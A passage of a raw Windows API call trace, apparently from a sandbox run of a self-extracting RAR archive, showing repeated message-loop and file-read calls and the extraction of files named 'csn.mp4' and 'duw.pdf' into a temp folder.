[0068.108] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.108] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.108] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.108] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.108] GetTickCount () returned 0x1fa55 [0068.108] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.108] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.108] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.109] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.109] GetTickCount () returned 0x1fa55 [0068.109] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.109] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.109] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.109] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.109] GetTickCount () returned 0x1fa55 [0068.109] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.109] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.109] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.109] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.109] GetTickCount () returned 0x1fa55 [0068.109] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.109] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.109] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.109] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.109] GetTickCount () returned 0x1fa55 [0068.109] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.109] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.109] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.109] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.109] GetTickCount () returned 0x1fa55 [0068.109] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.109] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.109] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.109] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.109] GetTickCount () returned 0x1fa55 [0068.109] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.109] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.109] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.109] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.109] GetTickCount () returned 0x1fa55 [0068.109] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.109] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.109] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.109] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.109] GetTickCount () returned 0x1fa55 [0068.109] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.109] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.109] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.109] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.109] GetTickCount () returned 0x1fa55 [0068.109] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.109] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.109] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.109] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.109] GetTickCount () returned 0x1fa55 [0068.110] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.110] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.110] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.110] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.110] GetTickCount () returned 0x1fa55 [0068.110] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.110] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.110] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.110] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.110] GetTickCount () returned 0x1fa55 [0068.110] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.110] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.110] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.110] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.110] GetTickCount () returned 0x1fa55 [0068.110] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.110] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.110] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.110] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.110] GetTickCount () returned 0x1fa55 [0068.110] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.110] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.110] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.110] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.110] GetTickCount () returned 0x1fa55 [0068.110] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.110] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.110] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.110] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.110] GetTickCount () returned 0x1fa55 [0068.110] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.110] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.110] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.110] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.110] GetTickCount () returned 0x1fa55 [0068.110] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.110] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.110] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.110] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.110] GetTickCount () returned 0x1fa55 [0068.110] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.110] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.110] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.110] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.110] GetTickCount () returned 0x1fa55 [0068.110] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.110] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.110] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.110] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.110] GetTickCount () returned 0x1fa55 [0068.111] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.111] ReadFile (in: hFile=0x1c, lpBuffer=0x270476, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270476*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.111] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.111] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.111] GetTickCount () returned 0x1fa55 [0068.111] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.111] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x262, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x262, lpOverlapped=0x0) returned 1 [0068.195] GetTickCount () returned 0x1fab2 [0068.195] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 1 [0068.195] GetMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x171554) returned 1 [0068.195] TranslateMessage (lpMsg=0x171554) returned 0 [0068.195] DispatchMessageW (lpMsg=0x171554) returned 0x0 [0068.195] SetFilePointer (in: hFile=0x1c, lDistanceToMove=864804, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd3224 [0068.195] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.195] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.195] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.195] CloseHandle (hObject=0x138) returned 1 [0068.196] SetFileAttributesA (lpFileName="csn.mp4", dwFileAttributes=0x20) returned 1 [0068.196] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd3224 [0068.197] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.197] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.197] OemToCharA (in: pSrc="duw.pdf", pDst=0x179cc0 | out: pDst="duw.pdf") returned 1 [0068.197] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="duw.pdf", cchCount2=1) returned 1 [0068.197] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="duw.pdf", cchCount2=6) returned 1 [0068.197] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="duw.pdf", cchCount2=-1) returned 1 [0068.197] SetFilePointer (in: hFile=0x1c, lDistanceToMove=864848, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd3250 [0068.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="duw.pdf") returned 8 [0068.197] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x418eb8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.197] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting duw.pdf") returned 18 [0068.197] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting duw.pdf") returned 1 [0068.197] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.197] OemToCharBuffA (in: lpszSrc="d", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="d") returned 1 [0068.197] CharToOemBuffA (in: lpszSrc="D", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="D") returned 1 [0068.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="duw.pdf") returned 8 [0068.197] FindFirstFileW (in: lpFileName="duw.pdf", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.198] GetLastError () returned 0x2 [0068.198] GetFileAttributesA (lpFileName="duw.pdf" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\duw.pdf")) returned 0xffffffff [0068.198] CreateFileA (lpFileName="duw.pdf" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\duw.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.198] GetFileType (hFile=0x138) returned 0x1 [0068.198] SetFilePointer (in: hFile=0x138, lDistanceToMove=512, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x200 [0068.198] SetEndOfFile (hFile=0x138) returned 1 [0068.198] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.198] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1a6, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1a6, lpOverlapped=0x0) returned 1 [0068.198] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.198] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.198] GetTickCount () returned 0x1fab2 [0068.198] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.198] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.198] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.198] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.198] GetTickCount () returned 0x1fab2 [0068.198] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.198] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.198] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.198] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.198] GetTickCount () returned 0x1fab2 [0068.198] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.198] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.198] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.198] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.198] GetTickCount () returned 0x1fab2 [0068.199] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.199] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.199] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.199] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.199] GetTickCount () returned 0x1fab2 [0068.199] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.199] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.199] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.199] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.199] GetTickCount () returned 0x1fab2 [0068.199] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.199] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, 